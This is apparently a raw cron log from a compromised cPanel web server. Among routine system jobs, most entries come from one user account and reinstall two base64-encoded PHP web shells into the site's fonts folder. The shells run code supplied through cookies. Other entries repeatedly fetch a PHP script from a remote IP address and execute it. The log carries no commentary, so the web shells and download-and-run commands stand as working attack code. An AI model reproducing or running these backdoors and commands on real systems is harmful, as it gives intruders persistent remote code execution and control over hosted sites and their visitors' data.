Sep  9 02:10:01 ip-184-168-122-23 CROND[25924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:10:01 ip-184-168-122-23 CROND[25925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:10:01 ip-184-168-122-23 CROND[25928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:10:01 ip-184-168-122-23 CROND[25932]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:10:01 ip-184-168-122-23 CROND[25933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:10:01 ip-184-168-122-23 CROND[25929]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:10:01 ip-184-168-122-23 CROND[25930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:10:01 ip-184-168-122-23 CROND[25931]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 02:11:01 ip-184-168-122-23 CROND[26029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:11:01 ip-184-168-122-23 CROND[26030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:11:01 ip-184-168-122-23 CROND[26032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:11:01 ip-184-168-122-23 CROND[26037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:12:01 ip-184-168-122-23 CROND[26111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:12:01 ip-184-168-122-23 CROND[26113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:12:01 ip-184-168-122-23 CROND[26114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:12:01 ip-184-168-122-23 CROND[26115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:12:01 ip-184-168-122-23 CROND[26116]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:13:01 ip-184-168-122-23 CROND[26199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:13:01 ip-184-168-122-23 CROND[26201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:13:01 ip-184-168-122-23 CROND[26202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:13:01 ip-184-168-122-23 CROND[26203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:14:01 ip-184-168-122-23 CROND[26373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:14:01 ip-184-168-122-23 CROND[26372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:14:01 ip-184-168-122-23 CROND[26374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:14:01 ip-184-168-122-23 CROND[26375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:14:01 ip-184-168-122-23 CROND[26376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:15:01 ip-184-168-122-23 CROND[26503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:15:01 ip-184-168-122-23 CROND[26507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:15:01 ip-184-168-122-23 CROND[26505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:15:01 ip-184-168-122-23 CROND[26508]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 02:15:01 ip-184-168-122-23 CROND[26506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:15:01 ip-184-168-122-23 CROND[26509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:15:01 ip-184-168-122-23 CROND[26510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:16:01 ip-184-168-122-23 CROND[26598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:16:01 ip-184-168-122-23 CROND[26600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:16:01 ip-184-168-122-23 CROND[26602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:16:01 ip-184-168-122-23 CROND[26603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:16:01 ip-184-168-122-23 CROND[26604]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:16:01 ip-184-168-122-23 CROND[26605]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 02:17:01 ip-184-168-122-23 CROND[26754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:17:01 ip-184-168-122-23 CROND[26755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:17:01 ip-184-168-122-23 CROND[26756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:17:01 ip-184-168-122-23 CROND[26757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:18:02 ip-184-168-122-23 CROND[26836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:18:02 ip-184-168-122-23 CROND[26838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:18:02 ip-184-168-122-23 CROND[26839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:18:02 ip-184-168-122-23 CROND[26840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:18:02 ip-184-168-122-23 CROND[26841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:19:01 ip-184-168-122-23 CROND[26923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:19:01 ip-184-168-122-23 CROND[26922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:19:01 ip-184-168-122-23 CROND[26924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:19:01 ip-184-168-122-23 CROND[26925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:20:02 ip-184-168-122-23 CROND[27010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:20:02 ip-184-168-122-23 CROND[27013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:20:02 ip-184-168-122-23 CROND[27014]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 02:20:02 ip-184-168-122-23 CROND[27017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:20:02 ip-184-168-122-23 CROND[27019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:20:02 ip-184-168-122-23 CROND[27022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:20:02 ip-184-168-122-23 CROND[27018]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 02:20:02 ip-184-168-122-23 CROND[27020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:20:02 ip-184-168-122-23 CROND[27021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:21:01 ip-184-168-122-23 CROND[27110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:21:01 ip-184-168-122-23 CROND[27112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:21:01 ip-184-168-122-23 CROND[27111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:21:01 ip-184-168-122-23 CROND[27113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:22:01 ip-184-168-122-23 CROND[27306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
